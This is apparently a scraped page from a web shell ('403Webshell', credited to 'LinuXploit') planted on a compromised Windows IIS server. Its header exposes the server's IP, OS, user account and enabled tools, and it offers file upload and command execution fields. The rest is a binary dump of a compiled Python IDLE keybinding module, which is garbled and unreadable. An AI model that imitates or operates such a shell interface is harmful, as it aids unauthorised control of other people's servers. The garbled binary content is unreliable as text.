403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.145
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/idlelib/__pycache__/config_key.cpython-315.opt-2.pyc
R
>lqj�<c��]QHGsGsGsGs]QHGsGsGsG	s	G
s
Gs]QHGs]QH4Gs]PH<s]PH@sQs\\O&\O(*2s\Q2sQsQsQs\\*\*\*\*\*sQsQQ\2sQ	Q
\2s\Q6Xc"]QH|G s \ Q
]P
Q5]QH�G"s"\"\2P!P!)�)�Toplevel�Listbox�	StringVar�TclError)�Frame�Button�Checkbutton�Entry�Label�	Scrollbar)�
messagebox)�
_setup_dialogz~!@#%^&*()_-+={}[]|;:,.<>/?c�d�-QQaQQaQQaQQaQQ	aQ
QaQQ
aQQaQQaQQaQQaQQaQQaQQaQQaQQaQ Q!a-Q"Q#aQ$Q%aQ&Q'aQ(Q)aQ*Q+aQ,Q-aQ.Q/aQ0Q1aQ2Q3aQ4Q5aQ6Q7aQ8Q9aQ:Q;aQ<Q=aQ>Q?aQ@QAaQBQCaAQDQD-AoUOV2oQEU7c&U[O7cUO2oQFU0!)G�Space�space�~�
asciitilde�!�exclam�@�at�#�
numbersign�%�percent�^�asciicircum�&�	ampersand�*�asterisk�(�	parenleft�)�
parenright�_�
underscore�-�minus�+�plus�=�equal�{�	braceleft�}�
braceright�[�bracketleft�]�bracketright�|�bar�;�	semicolon�:�colon�,�comma�.�period�<�less�>�greater�/�slash�?�question�Page Up�Prior�	Page Down�Next�
Left Arrow�Left�Right Arrow�Right�Up Arrow�Up�
Down Arrow�Down�Tab�ShiftzKey-)�get�string�ascii_lowercase�upper)�key�	modifiers�mappings&& �'C:\Python315\\Lib\idlelib\config_key.py�
translate_keyr]s���@�w�w�@���@�!�(�@�,/��@�69�,�@��	�@��}�@�.1�+�@�
�
�@� ��@�.1��@�
��	@�"�'�	@�,/�v�	@�8;�7�	@�

��@�
!��@�
�
�
@� #�>�
@�47�u�
@�
��@�!��@�+.�g�@�8;�8�@�
��@��I�@�(+�7�@�58�
�@�
�g�@� +�6�@�
��@�"/�w�@�
�t�@�*�6�@�49��@�G��+�+�c�
�C��)���v�'=�'=� =��i�i�k��
�#��<��c�~``�\sQs],snQsU1QksQsQsQsQs	QQks
QsQ	sQ
s
QsQsQ
sQsUsU9s!)�GetKeysFramezKey Sequence Errorc�:�[RU_U2]UQ$QUQ$VmV mV0mPUm[
U2UmUOOP2UO2,Um
UOFD:o[
U2oUOP2UOOU2J<	P
Um
UO2P!)��borderwidth�sunken�relief)�super�__init__�parent�action�current_key_sequences�resultr�
key_string�set�set_modifiers_for_platform�
modifier_varsrZ�append�advanced�create_widgets)�selfrhrirj�modifier�variable�	__class__s&&&&  �r\rg�GetKeysFrame.__init__1s����	���� ���]��!��X������%:�"����#�D�/��������B���'�'�)�������H� ���H��L�L������%�%�h�/�'���
����r^c�6�[OU-U@P!�N)r�	showerror)rs�args�kwargss&*,r\rz�GetKeysFrame.showerrorLs�����d�-�f�-r^c�X�[UQQ5UmUOO]]Q]]Q5[UOQUOQ0Q5oUOQQ5[UOQ	UOQ
]Q5oUO]]QQ
5[U2UmUOO]]Q]Q5-Um]o[UOUO2FDpvqEUOOVD2o[UOUOUVTPQ5oUO]U]QQ5VpOU$U]*
oJr	[UOQ	Q*Q5oUO]]]]QQ5[!UO]]
QQ5UmUO"O$Q,[&N3UO"O)QUO*2UO"O]]]QQ5[-UOQUO"O.Q5o	UO"O1U	O2Q5U	O]]]QQ5[5UOQUO6Q5UmUO8O]]]Q5[UQQ5UmUO:O]]Q]]Q5[UO:Q	Q UOQ!0Q"*Q5o
U
OQQ5[=UO:UOQ#5UmUO>OQQ$5[U2Um UO@O]]Q]Q5[UO@Q	Q+Q5oUO]]QQ%5[5VOBQ&Q'5Um"UODO]]Q(]]Q)5UOC2P!),�keyseq_basic)�name�nsew)�row�column�sticky�padx�padyzNew keys for 'z' :��text�w)�anchor�left�groove)�justify�textvariablererc�x)�ipadx�ipady�fill)r�r�r�r�)�commandr�ru�onvalue�offvalue)r�r�r�r�)r�r�)r�r��
columnspanr�r��single)�width�height�
selectmode�endz<ButtonRelease-1>�ns)r�r��rowspanr��vertical)�orientr�)�yscrollcommandz
Clear Keys)r�r�)r�r�r��keyseq_advancedzEnter new binding(s) for 'z' :
z2(These bindings will not be checked for validity!))r�)r�)r�r�r��<< Basic Key Binding Entry)r�r��ew)r�r��stickr�r�z�Select the desired modifier keys
above, and the final key from the
list on the right.

Use upper case Symbols when using
the Shift modifier.  (Letters will be
converted automatically.)a�Key bindings are specified using Tkinter keysyms as
in these samples: <Control-f>, <Shift-F2>, <F12>,
<Control-space>, <Meta-less>, <Control-Alt-Shift-X>.
Upper case is used when the Shift modifier is present!

'Emacs style' multi-keystroke bindings are specified as
follows: <Control-x><Control-y>, where the first key
is the 'do-nothing' keybinding.

Multiple separate bindings for one action should be
separated by a space, eg., <Alt-v> <Meta-v>.)#r�frame_keyseq_basic�gridr
ri�packrl�frame_controls_basic�modifier_checkbuttons�ziprZro�modifier_labelrUr�build_key_stringr�list_keys_final�insert�AVAILABLE_KEYS�bind�final_key_selectedr�yview�configrmr�
clear_key_seq�button_clear�frame_keyseq_advancedr	�
advanced_keys�frame_help_advanced�toggle_level�button_level)rs�basic_title�
basic_keysr�rtru�label�check�
help_basic�scroll_keys_final�advanced_title�
help_advanceds&           r\rr�GetKeysFrame.create_widgetsPs���"'��>�"B������$�$��1�V�+,�1�	%�	6��D�3�3�#1�$�+�+��c�!B�D�������$��4�2�2�F�(,����'(�*�
�	���a�q�s��3�%*�$�K��!��!�!�&�&�1�Q�v�A�&�N�&(��"���"%�d�n�n�d�6H�6H�"I��H��'�'�+�+�H�?�E��� 9� 9�(,�(=�(=�E�)1�b�R�E�
�J�J�1�V�!�C�J�@�38�&�&�x�0��a�K�F�#J��4�4�4�f�!<�=�
�	���A�a�A�A�c��J� '�t�'@�'@��.0�X� G������#�#�E�;�N�;����!�!�"5�t�7N�7N�O����!�!�a��1�T�!�J�%�d�&?�&?�-7�.2�.B�.B�.H�.H�J��	
���#�#�3D�3H�3H�#�I����1�Q��$��G�"�4�#<�#<�(4�+/�+=�+=�?���	
�����1�Q�1��=�&+�4�6G�%H��"��"�"�'�'�A�a��./�a�	(�	9��t�9�9�6�&@����
�U�$S�%Y�%Z�[��	���3��'�"�4�#=�#=�04���A��������S��)�$)��;�� �� � �%�%�!�A�f�1�%�M��d�6�6��@�	B�
�	���q��6��:�#�4�1B�1B�'C�E��������1�Q�d����K����r^c�j�[OQ6Xc,QNUmL	,QNUmQQ-UmP!)�darwin�Control�Ctrl)rTr��Option�Command)r��AltrT)�sys�platformrZr��rss&r\rn�'GetKeysFrame.set_modifiers_for_platform�s+���<�<�8�#�F�D�N�8�D�N�(�&�1��r^c�<�UOOQ2OQ2%c�UO2UOO	QQ5UO
O
2UOO
2UOO2P	Um
P!UO2UOO	QQ5UOO
2UOO
2P
Um
P!)r��Advancedr�r�zAdvanced Key Binding Entry >>)
r��cget�
startswithr�r�r��liftr�r��	focus_setrqr�r�r�s&r\r��GetKeysFrame.toggle_level�s������"�"�6�*�5�5�j�A�A���� ����$�$�*F�$�G��&�&�+�+�-��$�$�)�)�+����(�(�*� �D�M���� ����$�$�*I�$�J��#�#�(�(�*��%�%�*�*�,�!�D�Mr^c�(�UO2P!ry)r��rs�events&&r\r��GetKeysFrame.final_key_selected�s�����r^c��UO29qUOOQ2oU%c[V22oUO	U2UO
O
QQOU2Q02P!)r�r?r'rA)�
get_modifiersr�rUr]rprlrm�join)rs�keylistrZ�	final_keys&   r\r��GetKeysFrame.build_key_string�sg��"�0�0�2�2���(�(�,�,�X�6�	��%�i�;�I��N�N�9�%������a����� 1�2�!�4�5r^c��UOTt,tFDpO2MJ	ooSTt,tFDp3%fJUMJ	to!ttohttohry)rorU)rsru�mod_list�mods&   r\r��GetKeysFrame.get_modifiers�sD��37�3E�3E�F�3E�x�L�L�N�3E��F�'�/�x��3���x�/�/��G��/s�A�A�Ac��UOO]Q2UOOQQ2UOFDoUO	P2J	UO
O	P2P!)rr��movetoz0.0)r��select_clearr�rormrl)rsrus& r\r��GetKeysFrame.clear_key_seq�s\�����)�)�!�U�3����"�"�8�U�3��*�*�H��L�L���+������B�r^c�B�PUmUOO2O2oU%f!UO	UO
UQQ5P!UO%fUOU2%cUOU2%cVmP!)�zNo key specified.��titlerh�message)	rkrlrU�striprz�keyerror_titlerq�keys_ok�bind_ok)rs�keyss& r\�ok�GetKeysFrame.ok�su��������"�"�$�*�*�,����N�N��!4�!4�T�#6�
�
8���M�M�M�T�\�\�$�/�/�T�\�\�$�5G�5G��K�r^c�B�UOOQ2oUO2oUOoUOTTt,tFDoSFDoUMJ	J	oooUOQ2%fUO
V@QQ5P
!U%f,U[[*7cUO
V@QQ5P
!UQ,6Xc5U[[*Q	*7cQoUO
V@UQ5P
!V7cQoUO
V@UQ5P
!P	!ttooh)
r�rAzMissing the final Key)rhr�zNo modifier key(s) specified.r�rTzBThe shift modifier by itself may not be used with this key symbol.z'This key combination is already in use.)rSr)	r�rUr�r�rj�endswithrz�
FUNCTION_KEYS�	MOVE_KEYS)	rsr�r�rZr�r�rY�
key_sequences�msgs	&&       r\r��GetKeysFrame.keys_ok�s&���(�(�,�,�X�6�	��&�&�(�	��#�#��,0�,F�,F�1�,F��(/���(/��,F�
�1��}�}�S�!�!��N�N�5�#:�
�
<�"���=�9�#<�<��N�N��#B�
�
D���G�9�$��#�i�/�2B�B�C�&�C��N�N��S�N�A���
"�;�C��N�N��S�N�A����'1s�Dc���UOUQ2oUOV2P	![c-oSOSOSQS0Q5Po=P
!Po=hh9h)c��P!ry�r�r^r\�<lambda>�&GetKeysFrame.bind_ok.<locals>.<lambda>s��dr^z2The entered key sequence is not accepted.

Error: r�)r��unbindrrzr�)rsr��binding�errs&&  r\r��GetKeysFrame.bind_oksj��
	��i�i��l�3�G�
�K�K��&����	��N�N��-�-�d� '�'*�e�-�
�
/���	�s�)�	A �A �!A�A )rirqr�r�r�rjr�r�r�r�rlr�r�r�rorZrhrkry)�__name__�
__module__�__qualname__�__firstlineno__r�rgrzrrrnr�r�r�r�r�r�r�r��__static_attributes__�__classdictcell__�
__classcell__�rv�
__classdict__s@@r\r`r`,sO����*�N��6.�W�r2�"�  �6�0�
 �	��>�r^r`c�``�\sQsQsnQP
QP
-U1Qkks\Q2s\OQ2sQ
QksQ
Qks	Q	s
UsU9s!)�
GetKeysWindow��_htest�_utestc�~:�[RU_U2UO2]UQ$UOP
P
Q5UO	2UO2UO
2]*UO2]**
*oUO2U%f4UO2]*UO2]**
L]�*oUOQUQU02UOU2[VU29Umo	UOQUO 2[#U2o
[%U
Q]UO&Q5Um[%U
Q]UO Q5UmUO(O-]]]]Q5UO*O-]]]]Q5U	O/Q	P	Q
Q5U
O/QQ
Q5UO1U2[3U2UO52U%f#UO72UO92P!P!)�rc)r�r�r)�WM_DELETE_WINDOW�OK)r�r�r��Cancel)r�r�r�r��top�both)�side�expandr��bottomr�)rr�)rfrg�withdraw�	resizable�update_idletasks�winfo_rootx�winfo_width�winfo_reqwidth�winfo_rooty�winfo_height�winfo_reqheight�geometryr�r`�frame�protocol�cancelrrr��	button_ok�
button_cancelr�r��	transientr
�grab_set�	deiconify�wait_window)rsrhr�rirjrrr��yr&�
frame_buttonsrvs&&&&&$$    �r\rg�GetKeysWindow.__init__s����	���� ��
�
����]�����e�5��1�����
�
�
�
!�� � �"�A�%��(;�(;�(=�q�(@�@�B��
�
�
�
!���"�"�$�a�'�$�*>�*>�*@�!�*C�C�!$�&��	
�
�
��!��A�a�S�k�"��
�
�5��)�$�8M�N�N��
�U��
�
�(�$�+�+�6��d��
��
�D�&'����:���#�M��)*�D�K�K�A���������!�!�!��<������A�a�a�a��@�
�
�
��d��
�8�����s��3����v���d���
�
����N�N������r^c�0�UOO!ry�r&rkr�s&r\rk�GetKeysWindow.resultJs���z�z� � � r^c�(�VOmP!ryr3)rs�values&&r\rkr4Ns��!�
�
�r^c�|�UOO2UO2UO2P!ry)r&r��grab_release�destroyr�s&&r\r��GetKeysWindow.okRs$���
�
�
�
���������r^c�V�PUmUO2UO2P!)r�)rkr8r9r�s&&r\r(�GetKeysWindow.cancelWs������������r^)r*r)r&rkry)
rrrrrg�propertyrk�setterr�r(rr	r
rs@@r\rrsV����,� �,�).�,�\�!��!��]�]�"��"��
�r^r�__main__)�mainz!idlelib.idle_test.test_config_key)�	verbosity�exit)�run)�F1�F2�F3�F4�F5�F6�F7�F8�F9�F10�F11�F12)rSr�Return)�	BackSpace�Delete�Insert)�Home�EndrGrIrKrMrOrQ)#�tkinterrrrr�tkinter.ttkrrrr	r
rr�tkinter.simpledialogr
rVr�r��tuplerW�digits�
ALPHANUM_KEYS�PUNCTUATION_KEYS�WHITESPACE_KEYS�	EDIT_KEYSr�r�r]r`rr�unittestr@�idlelib.idle_test.htestrCr�r^r\�<module>ras���;�:�K�K��.�
�
�8�
��f�,�,�v�}�}�<�=�
��6�7��,��-�	�
6�	��"2�2�]�B�!�"�$-�.�09�:���(k�5�k�\@�H�@�F�z����	,���F�+��
��r^

Youez - 2016 - github.com/yon3zu
LinuXploit